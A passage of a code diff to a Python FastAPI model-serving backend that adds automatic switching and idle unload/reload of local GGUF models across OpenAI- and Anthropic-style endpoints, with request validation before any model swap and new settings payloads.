_auto_switch_from_request_body(request: Request, current_subject: str): + """Run auto-switch from a raw-body endpoint's ``model`` without changing its + pre-feature status codes: a malformed/non-dict body yields no model (so an + unloaded backend still 503s, not 500), and the caller re-reads to surface the + original parse error after the loaded-state check. Returns the parsed body, or + None if it could not be parsed.""" + try: + body = await request.json() + except (json.JSONDecodeError, ValueError): + return None + if isinstance(body, dict): + # A raw-body client may omit ``model`` and rely on the loaded backend. Pass + # a reload-only sentinel so the idle-stash reload still runs (an idle-freed + # model is restored) without the resolver ever matching a real name. + model = body.get("model") or _RELOAD_ONLY_MODEL + else: + model = None + await _maybe_auto_switch_model(model, request, current_subject) + return body + + def _effective_load_in_4bit(config: ModelConfig, requested: bool) -> bool: """Effective quantization the loader will use: a LoRA adapter can flip 4-bit to 16-bit via adapter_config.json, so the guard sizes this, not the raw request.""" @@ -2508,6 +2914,15 @@ async def load_model( GGUF models load via llama-server (llama.cpp) instead of Unsloth. """ + # Hold the lifecycle gate across the load so idle auto-unload can't unload the + # model mid-load. Auto-switch calls _load_model_impl directly since it already + # holds this gate. + from core.inference.llama_keepwarm import inference_lifecycle_gate + async with inference_lifecycle_gate(): + return await _load_model_impl(request, fastapi_request, current_subject) + + +async def _load_model_impl(request: LoadRequest, fastapi_request: Request, current_subject: str): from core.inference.llama_cpp import LlamaServerNotFoundError native_grant_backed = False @@ -2932,6 +3347,13 @@ async def load_model( logger.info( f"Loaded GGUF model via llama-server: {model_log_label if native_grant_backed else config.identifier}" ) + # Clear any idle-unload reload stash now, not only on the next poll. + from core.inference.llama_keepwarm import note_model_loaded + + note_model_loaded() + # A plain load advertises its own identifier; auto-switch overwrites + # this with the repo id right after _load_model_impl returns. + llama_backend._openai_advertised_id = None # Audio detection moved into load_model under _serial_load_lock (#5642). _gguf_audio = llama_backend._audio_type @@ -3033,6 +3455,13 @@ async def load_model( logger.info( f"Loaded model: {model_log_label if native_grant_backed else config.identifier}" ) + # Clear any idle-unload reload stash: a manual load supersedes an idle-freed + # GGUF, so the next /v1 request must not resurrect it. Mirror the GGUF branch + # above; without this a non-GGUF load leaves a stale stash until the idle + # poll clears it (and never, while idle-unload is off). + from core.inference.llama_keepwarm import note_model_loaded + + note_model_loaded() # Load inference configuration parameters inference_config = load_inference_config(config.identifier) @@ -3363,6 +3792,10 @@ async def unload_model(request: UnloadRequest, current_subject: str = Depends(ge Unload a model from memory. Routes to the correct backend (llama-server for GGUF, Unsloth otherwise). """ + # A deliberate unload means "stay unloaded": drop any idle reload stash so the + # next /v1 request can't resurrect this model. The idle loop unloads via the + # backend directly (not this route), so clearing here never fights keep-warm. + from core.inference.llama_keepwarm import note_model_unloaded try: # Check if the GGUF backend has this model loaded or is loading it. llama_backend = get_llama_cpp_backend() @@ -3371,13 +3804,17 @@ async def unload_model(request: UnloadRequest, current_subject: str = Depends(ge or is_registered_native_path_label(llama_backend.model_identifier, request.model_path) or not llama_backend.is_loaded ): + # A manual unload is a deliberate user action: tear down now even if a + # request is mid-stream (only the automatic idle loop defers to it). llama_backend.unload_model() + note_model_unloaded() logger.info(f"Unloaded GGUF model: {request.model_path}") return UnloadResponse(status = "unloaded", model = request.model_path) # Otherwise, unload from Unsloth backend backend = get_inference_backend() backend.unload_model(request.model_path) + note_model_unloaded() logger.info(f"Unloaded model: {request.model_path}") return UnloadResponse(status = "unloaded", model = request.model_path) @@ -3786,10 +4223,25 @@ async def generate_audio( raise HTTPException(status_code = 400, detail = "No user message found.") text = last_user_msg["content"] + # Restore an idle-evicted GGUF before selecting a backend: this path is + # keep-warm-tracked but had no reload hook, so a standalone idle TTL could + # unload an audio GGUF the next request then failed to restore. Validation + # above ran first, so an invalid request never triggers a reload. + # + # Reload-only on purpose: a local GGUF's audio-input capability is not a cheap + # pre-load probe (the companion mmproj signal can't tell an audio projector + # from a vision one, and codec-based TTS ships no projector at all), so passing + # the client model through the resolver could load a text- or vision-only target + # and evict the working audio model before the audio backend check fails. Only + # the idle-stash restore runs here; switching TTS models is an explicit /load. + await _maybe_auto_switch_model(_RELOAD_ONLY_MODEL, request, current_subject) + # Pick backend — both return (wav_bytes, sample_rate) llama_backend = get_llama_cpp_backend() if llama_backend.is_loaded and getattr(llama_backend, "_is_audio", False): - model_name = public_model_id(llama_backend.model_identifier) + # Advertised repo id after an auto-switch load, else a clean public id, + # never the absolute .gguf path. + model_name = _llama_public_model_id(llama_backend) gen = lambda: llama_backend.generate_audio_response( text = text, audio_type = llama_backend._audio_type, @@ -4815,6 +5267,12 @@ async def openai_chat_completions( # ── External provider routing ──────────────────────────────── # encrypted_api_key is optional -- local providers (llama.cpp / vLLM / Ollama) may run without auth. if payload.provider_id or payload.provider_type: + # External provider: this request won't touch the local GGUF, so drop it + # from the keep-warm count or its in-flight stream would falsely block a + # concurrent local auto-switch with model_switch_busy. + from core.inference.llama_keepwarm import untrack_current_request + + untrack_current_request(request.scope) # Bypass Permissions suppresses the confirm gate, so do not reject a # request that sets both flags (effective confirm is then False). if ( @@ -4868,6 +5326,95 @@ async def openai_chat_completions( ), ) + # Reject a system-only chat before any automatic load so an invalid request + # never swaps or reloads the resident model (as /responses and /messages + # already validate before switching). Gate on every automatic-load trigger, + # not just auto-switch, since a standalone idle TTL can also reload here. + # Parse once and reuse below. + _pre_parsed = None + _needs_vision = False + if _automatic_model_load_may_run(): + _pre_parsed = _extract_content_parts(payload.messages) + if not _pre_parsed[1]: + raise HTTPException( + status_code = 400, detail = "At least one non-system message is required." + ) + # Reject confirm-without-stream local tool requests before the switch: the + # local tool path requires stream=true for the confirm gate, so this shape + # is invalid and must not evict the resident model first. Mirror that path's + # enablement exactly (_effective_enable_tools honors a CLI --enable-tools + # policy hard-override; mcp_enabled opens the tool loop on its own but still + # defers to a CLI --disable-tools policy), or an mcp_enabled/policy-forced + # request would slip past this guard and only 400 after the swap. + from state.tool_policy import get_tool_policy as _get_confirm_tool_policy + + _confirm_cli_policy = _get_confirm_tool_policy() + if ( + payload.confirm_tool_calls + and not payload.bypass_permissions + and not payload.stream + and ( + _effective_enable_tools(payload) + or (bool(payload.mcp_enabled) and _confirm_cli_policy is not False) + or bool(payload.enabled_tools) + or bool(payload.tools) + or bool(payload.openai_code_exec_container_id) + or bool(payload.anthropic_code_exec_container_id) + ) + ): + raise HTTPException( + status_code = 400, + detail = openai_error_body( + "confirm_tool_calls requires stream=true for local tool execution.", + status = 400, + code = "invalid_request_error", + param = "confirm_tool_calls", + ), + ) + # Reject a malformed tool_choice forcing object before the switch: a + # {"type": "function", "function": {}} with no name would otherwise be + # forwarded to llama-server and rejected only after the model swapped. + _tc = payload.tool_choice + if isinstance(_tc, dict) and _tc.get("type") == "function": + _tc_fn = _tc.get("function") + _tc_name = _tc_fn.get("name") if isinstance(_tc_fn, dict) else None + if not isinstance(_tc_name, str) or not _tc_name.strip(): + raise HTTPException( + status_code = 400, + detail = openai_error_body( + "Invalid 'tool_choice': the forced function must have a 'name'.", + status = 400, + code = "invalid_value", + param = "tool_choice", + ), + ) + # Reject an oversized audio upload before the switch: the size cap is a + # cheap, target-independent length check, so a too-large payload must not + # load a GGUF only to 413 afterward (the decode itself stays post-switch to + # avoid decoding a valid upload twice). + if payload.audio_base64 and len(payload.audio_base64) > _MAX_AUDIO_B64_CHARS: + raise HTTPException(status_code = 413, detail = "Audio file is too large (max ~25 MB).") + # Reject streaming n>1 before the switch: only the non-streaming GGUF path + # returns multiple choices, so stream=true + n>1 is invalid on every local + # serving path (the external path already rejected it before its early + # return). Both fields are known here, so a bad shape must not load model B + # only to 400. The non-streaming n>1 cases stay post-switch, where the + # serving path decides whether the shape is supported. + if payload.stream and _wants_multiple_choices(payload): + _raise_unsupported_n("streaming chat completions") + # Audio input rides the same companion-mmproj projector as vision, so a + # text-only target can't serve it either; guard both before the switch. + _needs_vision = ( + bool(_pre_parsed[2]) or _request_has_image(payload) or bool(payload.audio_base64) + ) + + await _maybe_auto_switch_model( + _switch_model_for_payload(payload), + request, + current_subject, + require_vision = _needs_vision, + ) + llama_backend = get_llama_cpp_backend() using_gguf = llama_backend.is_loaded @@ -4923,8 +5470,9 @@ async def openai_chat_completions( return response if using_gguf: - # Echo a clean public id in the response, never the absolute .gguf path. - model_name = public_model_id(llama_backend.model_identifier) or payload.model + # Advertised repo id after an auto-switch load, else a clean public id, + # never the absolute .gguf path. + model_name = _llama_public_model_id(llama_backend, payload.model) if getattr(llama_backend, "_is_audio", False): if _wants_multiple_choices(payload): _raise_unsupported_n("GGUF audio chat completions") @@ -5185,7 +5733,11 @@ async def openai_chat_completions( ) # ── Parse messages (handles multimodal content parts) ───── - system_prompt, chat_messages, extracted_image_b64 = _extract_content_parts(payload.messages) + # Reuse the pre-hook parse when auto-switch did it, else parse now. + if _pre_parsed is not None: + system_prompt, chat_messages, extracted_image_b64 = _pre_parsed + else: + system_prompt, chat_messages, extracted_image_b64 = _extract_content_parts(payload.messages) if not chat_messages: raise _reject(400, "At least one non-system message is required.") @@ -6492,10 +7044,13 @@ def _openai_model_objects() -> list[dict]: # Check GGUF backend llama_backend = get_llama_cpp_backend() if llama_backend.is_loaded: + # Advertise the repo id an auto-switch load recorded, not the concrete + # on-disk load path, so /v1/models never leaks a host path or lists a + # model twice (path plus repo id). entry = { - # Public id, never the absolute .gguf path (which leaks the host - # filesystem layout); see core.inference.model_ids.public_model_id. - "id": public_model_id(llama_backend.model_identifier), + # Advertised repo id after an auto-switch load, else a clean public id, + # never the absolute .gguf path (which leaks the host filesystem layout). + "id": _llama_public_model_id(llama_backend), "object": "model", "created": _created, "owned_by": _OWNED_BY, @@ -6541,7 +7096,21 @@ def _openai_model_objects() -> list[dict]: # don't rescan the HF cache and models dirs on every request. _CATALOG_CACHE: dict = {"at": 0.0, "models": []} _CATALOG_TTL_S = 30.0 -_CATALOG_LOCK = asyncio.Lock() +# Per-loop lock (like _auto_switch_lock): a module-level asyncio.Lock ties its +# waiters to the loop that first awaited it, so a second event loop awaiting it +# in a multi-loop ASGI process can hang. The cache double-check keeps correctness +# even when two loops each scan once. +_catalog_locks: "weakref.WeakKeyDictionary" = weakref.WeakKeyDictionary() +_catalog_locks_guard = threading.Lock() + + +def _catalog_lock() -> asyncio.Lock: + loop = asyncio.get_running_loop() + with _catalog_locks_guard: + lock = _catalog_locks.get(loop) + if lock is None: + lock = _catalog_locks[loop] = asyncio.Lock() + return lock async def _cached_local_catalog() -> list: @@ -6558,7 +7127,7 @@ async def _cached_local_catalog() -> list: now = time.monotonic() if _CATALOG_CACHE["at"] and (now - _CATALOG_CACHE["at"]) <= _CATALOG_TTL_S: return _CATALOG_CACHE["models"] - async with _CATALOG_LOCK: + async with _catalog_lock(): now = time.monotonic() if _CATALOG_CACHE["at"] and (now - _CATALOG_CACHE["at"]) <= _CATALOG_TTL_S: return _CATALOG_CACHE["models"] @@ -6588,7 +7157,15 @@ async def _openai_catalog_objects() -> list[dict]: by_id[entry["id"]] = {**entry, "loaded": True} # Locally available (downloaded/cached) models that are not already loaded. - for info in await _cached_local_catalog(): + # Advertise only GGUF models /v1 can actually serve (llama.cpp). GGUF-ness is + # read from the on-disk files, not model_format: the HF-cache scanner leaves + # model_format unset for GGUF snapshots, so a model_format filter would drop + # every cached GGUF. The file checks run off the loop. + from core.inference.local_model_resolver import info_has_local_gguf + + catalog = await _cached_local_catalog() + servable = await asyncio.to_thread(lambda: [i for i in catalog if info_has_local_gguf(i)]) + for info in servable: cid = getattr(info, "model_id", None) or public_model_id(getattr(info, "id", None)) if not cid or cid in by_id: continue @@ -6632,29 +7209,43 @@ async def openai_retrieve_model(model_id: str, current_subject: str = Depends(ge from core.inference.model_ids import model_id_matches # Loaded models resolve without a catalog scan (the common case); only build - # the full catalog -- which may hit the filesystem -- for unloaded ids. - for entry in _openai_model_objects(): - if entry["id"] == model_id: + # the full catalog -- which may hit the filesystem -- for unloaded ids. Match + # case-insensitively, like the catalog loop below and the resolver's index. + _loaded = _openai_model_objects() + for entry in _loaded: + eid = entry["id"] + if isinstance(eid, str) and eid.lower() == model_id.lower(): return {**entry, "loaded": True} objects = await _openai_catalog_objects() for model in objects: - if model["id"] == model_id: + # Case-insensitive to match the resolver, which lowercases its index. + mid = model.get("id") + if isinstance(mid, str) and mid.lower() == model_id.lower(): return model # Backward compatibility: a client may still send the legacy raw identifier - # (e.g. an absolute .gguf path cached from an older /v1/models). Resolve it to - # the clean object so it keeps working, without ever echoing the path back. + # (e.g. an absolute .gguf path cached from an older /v1/models). Map it to the + # loaded model's object so it keeps working, without ever echoing the path back. + # Key each raw id to the SAME public id its /v1/models entry uses: an + # auto-switch load advertises a repo id while its identifier is the snapshot + # path, so public_model_id(path) would miss the advertised entry and 404 a + # model that is in fact loaded. llama_backend = get_llama_cpp_backend() backend = get_inference_backend() - for raw in ( - llama_backend.model_identifier if llama_backend.is_loaded else None, - backend.active_model_name or None, - ): - if raw and model_id_matches(model_id, raw): - clean = public_model_id(raw) - for model in objects: - if model["id"] == clean: - return model + raw_to_public: list[tuple[str, Optional[str]]] = [] + if llama_backend.is_loaded and llama_backend.model_identifier: + raw_to_public.append( + (llama_backend.model_identifier, _llama_public_model_id(llama_backend)) + ) + if backend.active_model_name: + raw_to_public.append( + (backend.active_model_name, public_model_id(backend.active_model_name)) + ) + for raw, clean in raw_to_public: + if model_id_matches(model_id, raw): + for entry in _loaded: + if entry["id"] == clean: + return {**entry, "loaded": True} raise HTTPException( status_code = 404, detail = openai_error_body( @@ -6679,6 +7270,16 @@ def _flatten_monitor_prompt(value) -> str: return str(value) +def _completions_prompt_present(body: dict) -> bool: + """Whether a completions body carries a usable ``prompt`` (non-empty).""" + prompt = body.get("prompt") + if isinstance(prompt, str): + return prompt != "" + if isinstance(prompt, (list, tuple)): + return len(prompt) > 0 + return prompt is not None + + @router.post("/completions") async def openai_completions(request: Request, current_subject: str = Depends(get_current_subject)): """ @@ -6688,13 +7289,39 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge when a GGUF model is loaded. """ llama_backend = get_llama_cpp_backend() + + # Reject a request with no prompt before any automatic load so an invalid + # request never swaps or reloads the resident model (as chat/embeddings already + # validate before switching). Gate on every automatic-load trigger. + if _automatic_model_load_may_run(): + try: + _pre = await request.json() + except (json.JSONDecodeError, ValueError): + _pre = None + if isinstance(_pre, dict): + _pre_prompt = _pre.get("prompt") + if _pre_prompt is not None and not isinstance(_pre_prompt, (str, list, tuple)): + # An object/number prompt is a deterministic client error (only a + # string or array is valid); reject it before the switch so a bad + # shape can't load a GGUF only to be rejected by llama-server after. + raise HTTPException(status_code = 400, detail = "'prompt' must be a string or array.") + if not _completions_prompt_present(_pre): + raise HTTPException(status_code = 400, detail = "'prompt' is required for completions.") + + # Opt-in: load the requested local GGUF before the loaded-state check. + body = await _auto_switch_from_request_body(request, current_subject) if not llama_backend.is_loaded: raise HTTPException( status_code = 503, detail = "No GGUF model loaded. Load a GGUF model first.", ) + if not isinstance(body, dict): + # Re-read to re-raise a malformed-body error (post-503, pre-feature behavior); + # a valid non-dict body such as a list is a clean 400 rather than a 500. + body = await request.json() + if not isinstance(body, dict): + raise HTTPException(status_code = 400, detail = "Request body must be a JSON object") - body = await request.json() if body.get("max_tokens") is None: body["max_tokens"] = llama_backend.context_length or _DEFAULT_MAX_TOKENS_FLOOR target_url = f"{llama_backend.base_url}/v1/completions" @@ -6703,7 +7330,7 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge monitor_id = api_monitor.start( endpoint = request.url.path, method = request.method, - model = str(body.get("model") or llama_backend.model_identifier or "default"), + model = str(body.get("model") or _llama_public_model_id(llama_backend) or "default"), prompt = prompt_text, context_length = llama_backend.context_length, subject = current_subject, @@ -6850,6 +7477,16 @@ async def openai_completions(request: Request, current_subject: str = Depends(ge # ===================================================================== +def _embeddings_input_present(body: dict) -> bool: + """Whether an embeddings body carries a usable ``input`` (non-empty).""" + inp = body.get("input") + if isinstance(inp, str): + return inp != "" + if isinstance(inp, (list, tuple)): + return len(inp) > 0 + return inp is not None + + @router.post("/embeddings") async def openai_embeddings(request: Request, current_subject: str = Depends(get_current_subject)): """ @@ -6861,13 +7498,42 @@ async def openai_embeddings(request: Request, current_subject: str = Depends(get error (expected). """ llama_backend = get_llama_cpp_backend() + # Reject a request with no input before any automatic load so an invalid + # request never swaps or reloads the resident model (as chat/responses/messages + # already validate before switching). Gate on every automatic-load trigger, + # not just auto-switch, since a standalone idle TTL can also reload here. + if _automatic_model_load_may_run(): + try: + _pre = await request.json() + except (json.JSONDecodeError, ValueError): + _pre = None + if isinstance(_pre, dict): + _pre_input = _pre.get("input") + if _pre_input is not None and not isinstance(_pre_input, (str, list, tuple)): + # An object/number input is a deterministic client error (only a + # string or array is valid); reject it before the switch so a bad + # shape can't load a GGUF only to be rejected by llama-server after. + raise HTTPException(status_code = 400, detail = "'input' must be a string or array.") + if not _embeddings_input_present(_pre): + raise HTTPException(status_code = 400, detail = "'input' is required for embeddings.") + # Embeddings is a model-bearing inference path too, so honor auto-switch. Unlike + # vision (cheaply pre-checked via a companion mmproj), GGUF pooling capability has + # no reliable pre-load probe -- is_embedding_model keys on a sentence-transformers + # modules.json a bare .gguf never has -- so embeddings auto-switch is best-effort: + # a non-embedding target switches, then llama-server returns a no-pooling error. + body = await _auto_switch_from_request_body(request, current_subject) if not llama_backend.is_loaded: raise HTTPException( status_code = 503, detail = "No GGUF model loaded. Load a GGUF model first.", ) + if not isinstance(body, dict): + # Re-read to re-raise a malformed-body error (post-503, pre-feature behavior); + # a valid non-dict body such as a list is a clean 400 rather than a 500. + body = await request.json() + if not isinstance(body, dict): + raise HTTPException(status_code = 400, detail = "Request body must be a JSON object") - body = await request.json() target_url = f"{llama_backend.base_url}/v1/embeddings" prompt_text = _flatten_monitor_prompt(body.get("input", "")) monitor_id = None @@ -6875,7 +7541,7 @@ async def openai_embeddings(request: Request, current_subject: str = Depends(get monitor_id = api_monitor.start( endpoint = request.url.path, method = request.method, - model = str(body.get("model") or llama_backend.model_identifier or "default"), + model = str(body.get("model") or _llama_public_model_id(llama_backend) or "default"), prompt = prompt_text, context_length = llama_backend.context_length, subject = current_subject, @@ -7340,10 +8006,13 @@ def _build_chat_request( ``/v1/chat/completions`` client-side pass-through picks them up unchanged. """ chat_kwargs: dict = dict( - model = payload.model, messages = messages, stream = stream, ) + # Only forward an explicitly set model so an omitted Responses model stays + # reload-only when openai_chat_completions re-checks on the non-streaming path. + if "model" in payload.model_fields_set: + chat_kwargs["model"] = payload.model if payload.temperature is not None: chat_kwargs["temperature"] = payload.temperature if payload.top_p is not None: @@ -7597,12 +8266,11 @@ async def _responses_stream( # Clean public id for every response envelope. Prefer the loaded model's # id so the stream agrees with /v1/models, chat/completions and the # non-streaming twin; fall back to a sanitized payload.model (a legacy - # raw .gguf path is stripped, never echoed back). - _clean_model = ( - public_model_id(getattr(llama_backend, "model_identifier", None)) - or public_model_id(payload.model) - or payload.model - ) + # raw .gguf path is stripped, never echoed back). Use the advertised-id + # helper, not the raw identifier: after an auto-switch to a cached HF GGUF + # the identifier is the snapshot path while the repo id lives in + # _openai_advertised_id, so the raw form would stream a snapshot basename. + _clean_model = _llama_public_model_id(llama_backend, payload.model) or payload.model full_text = "" full_reasoning = "" input_tokens = 0 @@ -8245,6 +8913,56 @@ async def openai_responses( messages = _normalise_responses_input(payload) if not messages: raise HTTPException(status_code = 400, detail = "No input provided.") + # System/developer-only input normalises to a non-empty list, so reject it + # before the switch (mirror chat) or an invalid request evicts the resident + # model only for the chat handler to 400 it as having no non-system message. + if not any(m.role not in ("system", "developer") for m in messages): + raise HTTPException(status_code = 400, detail = "At least one non-system message is required.") + # Reject a malformed function tool before any model load, mirroring the + # /v1/chat/completions check, so an invalid request never switches the model. + # Built-in tools (web_search, mcp, ...) carry no name and are dropped later. + for _tool in payload.tools or []: + if not isinstance(_tool, dict) or _tool.get("type") != "function": + continue + _name = _tool.get("name") + if not isinstance(_name, str) or not _name.strip(): + raise HTTPException( + status_code = 400, + detail = openai_error_body( + "Invalid 'tools': each function tool must have a 'name'.", + status = 400, + code = "invalid_value", + param = "tools", + ), + ) + # Reject a forcing-function tool_choice with no name before the switch (mirror + # chat), so a malformed request can't evict the model. Responses forces with + # {"type": "function", "name": "X"}; the streaming path would otherwise forward + # the bad choice and the non-streaming path only 400s after the swap. + _tc = payload.tool_choice + if isinstance(_tc, dict) and _tc.get("type") == "function": + _tc_name = _tc.get("name") + if not isinstance(_tc_name, str) or not _tc_name.strip(): + raise HTTPException( + status_code = 400, + detail = openai_error_body( + "Invalid 'tool_choice': the forced function must have a 'name'.", + status = 400, + code = "invalid_value", + param = "tool_choice", + ), + ) + # After input validation so a 400 never triggers a load. Switches the + # streaming path; non-streaming re-checks via the idempotent chat handler. + # require_vision rejects a swap to a text-only target before it runs, so an + # image request can't evict the resident vision model only to 400 afterwards + # (the non-streaming chat re-check short-circuits on _already_serving). + await _maybe_auto_switch_model( + _switch_model_for_payload(payload), + request, + current_subject, + require_vision = _messages_have_image(messages), + ) if payload.stream: monitor_id = None @@ -8381,6 +9099,28 @@ def _normalize_anthropic_openai_images(openai_messages: list[dict], is_vision: b return has_image +def _validate_anthropic_client_tools(tools) -> None: + # Reject malformed client tools before any model load, so an invalid request + # never evicts the loaded model. AnthropicTool relaxed name/input_schema to + # Optional for server tools, so the converter silently drops incomplete + # entries; surface them as 400 here. A `type` field marks a server-tool + # declaration (unrecognized server tools are no-ops); anything else without + # input_schema or name is malformed. + for tool in tools or []: + td = tool if isinstance(tool, dict) else tool.model_dump() + name, type_, schema = td.get("name"), td.get("type"), td.get("input_schema") + if schema is None and not isinstance(type_, str): + raise HTTPException( + status_code = 400, + detail = f"Tool {name!r} is missing required field 'input_schema'.", + ) + if schema is not None and (not isinstance(name, str) or not name): + raise HTTPException( + status_code = 400, + detail = "Client tool is missing required field 'name'.", + ) + + @router.post("/messages/count_tokens") async def anthropic_count_tokens( payload: AnthropicMessagesRequest, @@ -8394,6 +9134,19 @@ async def anthropic_count_tokens( tokenizer, and returns ``{"input_tokens": int}`` only. Unlike /messages, max_tokens is NOT required here. """ + # Reject malformed tools before the switch, like /messages, so an invalid + # count request can't evict the loaded model. + _validate_anthropic_client_tools(payload.tools) + # Count with the requested model's tokenizer, like the sibling /messages. + # Carry the vision guard too: an image count naming a text-only GGUF must not + # evict a loaded vision model for a swap that can't serve the request. + await _maybe_auto_switch_model( + _switch_model_for_payload(payload), + request, + current_subject, + require_vision = _anthropic_request_has_image(payload), + ) + llama_backend = get_llama_cpp_backend() if not llama_backend.is_loaded: raise HTTPException( @@ -8460,14 +9213,20 @@ async def anthropic_messages( JSON). """ llama_backend = get_llama_cpp_backend() - if not llama_backend.is_loaded: + + # Default-off parity: with no automatic load possible and nothing loaded, 503 + # before any request-shape check, exactly as the pre-feature endpoint did. When + # an automatic load can run (auto-switch or a standalone idle TTL), fall through + # so validation runs before the reload hook gets a chance to restore the model. + if not llama_backend.is_loaded and not _automatic_model_load_may_run(): raise HTTPException( status_code = 503, detail = "No GGUF model loaded. Load a GGUF model first.", ) - # max_tokens is a required field on the Anthropic Messages API; real - # Anthropic returns a 400 invalid_request_error when it is omitted. + # max_tokens is a required field on the Anthropic Messages API; real Anthropic + # returns a 400 invalid_request_error when it is omitted. Validate before + # auto-switch so a rejected request never triggers a model load. if payload.max_tokens is None: raise HTTPException( status_code = 400, @@ -8478,13 +9237,47 @@ async def anthropic_messages( ), ) - # Clean public id so /v1/messages never echoes the local .gguf path (and a - # legacy raw path sent as payload.model is sanitized rather than returned). - model_name = ( - public_model_id(getattr(llama_backend, "model_identifier", None)) - or public_model_id(payload.model) - or payload.model + # Reject malformed client tools before any model load (see helper), so an + # invalid request never evicts the loaded model. + _validate_anthropic_client_tools(payload.tools) + + # Mixing Anthropic server tools with custom client tools is unsupported (the + # server-tool loop can't relay client functions back to the caller). Reject + # before the switch too -- it depends only on the payload -- so an invalid + # request never evicts the loaded model. Reused below for tool routing. + requested_studio_tools = _anthropic_requested_studio_tools(payload.tools) + _has_client_tool = any( + (t if isinstance(t, dict) else t.model_dump()).get("input_schema") is not None + for t in payload.tools or [] ) + if requested_studio_tools and _has_client_tool: + raise HTTPException( + status_code = 400, + detail = ( + "Mixing Anthropic server tools (e.g. web_search_20250305) " + "with custom client tools in a single request is not " + "supported. Send them in separate requests." + ), + ) + + # require_vision rejects a swap to a text-only target before it runs, so an + # image request can't evict the resident vision model only to hit the vision + # guard (_normalize_anthropic_openai_images) below after the load. + await _maybe_auto_switch_model( + _switch_model_for_payload(payload), + request, + current_subject, + require_vision = _anthropic_request_has_image(payload), + ) + if not llama_backend.is_loaded: + raise HTTPException( + status_code = 503, + detail = "No GGUF model loaded. Load a GGUF model first.", + ) + + # Advertised repo id after an auto-switch load, else a clean public id, never + # the local .gguf path (and a legacy raw path in payload.model is sanitized). + model_name = _llama_public_model_id(llama_backend, payload.model) message_id = f"msg_{uuid.uuid4().hex[:24]}" # ── Translate Anthropic → OpenAI ────────────────────────── @@ -8531,51 +9324,8 @@ async def anthropic_messages( # 2. tools=[...] only → client-side pass-through (standard Anthropic behavior) # 3. neither → plain chat # The server-side agentic loop doesn't support multimodal input -- matches - # the `not image_b64` gate in /v1/chat/completions. - requested_studio_tools = _anthropic_requested_studio_tools(payload.tools) - - # Reject malformed client tools at the boundary. AnthropicTool was relaxed - # to Optional[name]/Optional[input_schema] for server tools, so the - # converter silently drops incomplete entries -- surface them as 400. A - # `type` field marks a server-tool declaration per spec (unrecognized server - # tools are accepted as no-ops); anything else without input_schema or name - # is malformed and must not be allowed to silently flip execution mode or - # disable tool calling. - for tool in payload.tools or []: - td = tool if isinstance(tool, dict) else tool.model_dump() - name, type_, schema = td.get("name"), td.get("type"), td.get("input_schema") - if schema is None and not isinstance(type_, str): - raise HTTPException( - status_code = 400, - detail = f"Tool {name!r} is missing required field 'input_schema'.", - ) - if schema is not None and (not isinstance(name, str) or not name): - raise HTTPException( - status_code = 400, - detail = "Client tool is missing required field 'name'.", - ) - - # Detect client tools from the raw payload (presence of input_schema) so the - # mixed-mode check below isn't fooled by a name collision with a server-tool - # alias that the post-filter would silently drop. - _has_client_tool = any( - (t if isinstance(t, dict) else t.model_dump()).get("input_schema") is not None - for t in payload.tools or [] - ) - - # The server-tool agentic loop executes tools in-process and can't relay - # unknown client functions back to the caller, so mixed requests would - # silently drop the client tools. Reject explicitly instead. - if requested_studio_tools and _has_client_tool: - raise HTTPException( - status_code = 400, - detail = ( - "Mixing Anthropic server tools (e.g. web_search_20250305) " - "with custom client tools in a single request is not " - "supported. Send them in separate requests." - ), - ) - + # the `not image_b64` gate in /v1/chat/completions. requested_studio_tools and + # the mixed-mode rejection were computed before the switch above. openai_client_tools = [ tool for tool in anthropic_tools_to_openai(payload.tools or []) diff --git a/studio/backend/routes/preview.py b/studio/backend/routes/preview.py index 1fa9055d3a..5acf039401 100644 --- a/studio/backend/routes/preview.py +++ b/studio/backend/routes/preview.py @@ -17,7 +17,11 @@ from loggers import get_logger from auth.authentication import get_current_subject from auth.storage import DEFAULT_ADMIN_USERNAME from models.inference import ChatCompletionRequest, LoadRequest -from routes.inference import load_model, openai_chat_completions +from routes.inference import ( + disable_openai_auto_switch_for_request, + load_model, + openai_chat_completions, +) from state.tool_policy import tools_force_disabled from utils.client_ip import client_ip from utils.models.checkpoints import list_preview_targets, resolve_preview_checkpoint @@ -155,6 +159,9 @@ async def _serve_chat( path = _resolve_or_4xx(run, checkpoint) is_lora = (path / "adapter_config.json").exists() payload = _sanitize_preview_payload(payload, is_lora) + # Preview always serves the pinned checkpoint it loads below; a public caller's + # `model` field must never trigger an OpenAI auto-switch to another GGUF. + disable_openai_auto_switch_for_request(getattr(request, "scope", None)) await _preview_lock.acquire() keep_locked = False try: diff --git a/studio/backend/routes/settings.py b/studio/backend/routes/settings.py index f582500f7f..0694ae31e0 100644 --- a/studio/backend/routes/settings.py +++ b/studio/backend/routes/settings.py @@ -32,6 +32,16 @@ from utils.helper_precache_settings import ( helper_model_disabled_by_env, set_helper_precache_enabled, ) +from utils.openai_auto_switch_settings import ( + DEFAULT_AUTO_UNLOAD_IDLE_SECONDS, + DEFAULT_OPENAI_AUTO_SWITCH_ENABLED, + get_auto_unload_idle_seconds, + get_model_overrides, + get_openai_auto_switch_enabled, + get_stored_auto_unload_idle_seconds, + set_model_override, + set_openai_auto_switch, +) from utils.preview_sharing_settings import ( DEFAULT_PREVIEW_SHARING_ENABLED, get_preview_sharing_enabled, @@ -66,6 +76,33 @@ class HelperPrecacheResponse(BaseModel): disabled_by_env: bool +class OpenAIAutoSwitchPayload(BaseModel): + enabled: bool + auto_unload_idle_seconds: int = Field(default = DEFAULT_AUTO_UNLOAD_IDLE_SECONDS, ge = 0) + + +class OpenAIAutoSwitchResponse(BaseModel): + enabled: bool + auto_unload_idle_seconds: int + default_enabled: bool = DEFAULT_OPENAI_AUTO_SWITCH_ENABLED + # True when the idle-unload loop will actually unload (effective TTL > 0). With + # UNSLOTH_MODEL_IDLE_TTL set and nothing stored, this is true even while enabled + # is false, so the UI can show idle-unload as active instead of "needs enable". + idle_unload_active: bool = False + + +class ModelOverridePayload(BaseModel): + model_id: str = Field(..., min_length = 1) + llama_extra_args: list[str] = Field(default_factory = list) + # ge=1: 0 is not a valid sequence length, and the setter drops a falsy value, + # so reject it at the boundary instead of accepting then silently discarding it. + max_seq_length: Optional[int] = Field(default = None, ge = 1, le = 1048576) + + +class ModelOverridesResponse(BaseModel): + overrides: dict[str, dict] + + def _upload_limit_response(limit_mb: int) -> UploadLimitResponse: return UploadLimitResponse( max_upload_size_mb = limit_mb, @@ -128,6 +165,70 @@ def update_helper_precache( return _helper_precache_response(enabled) 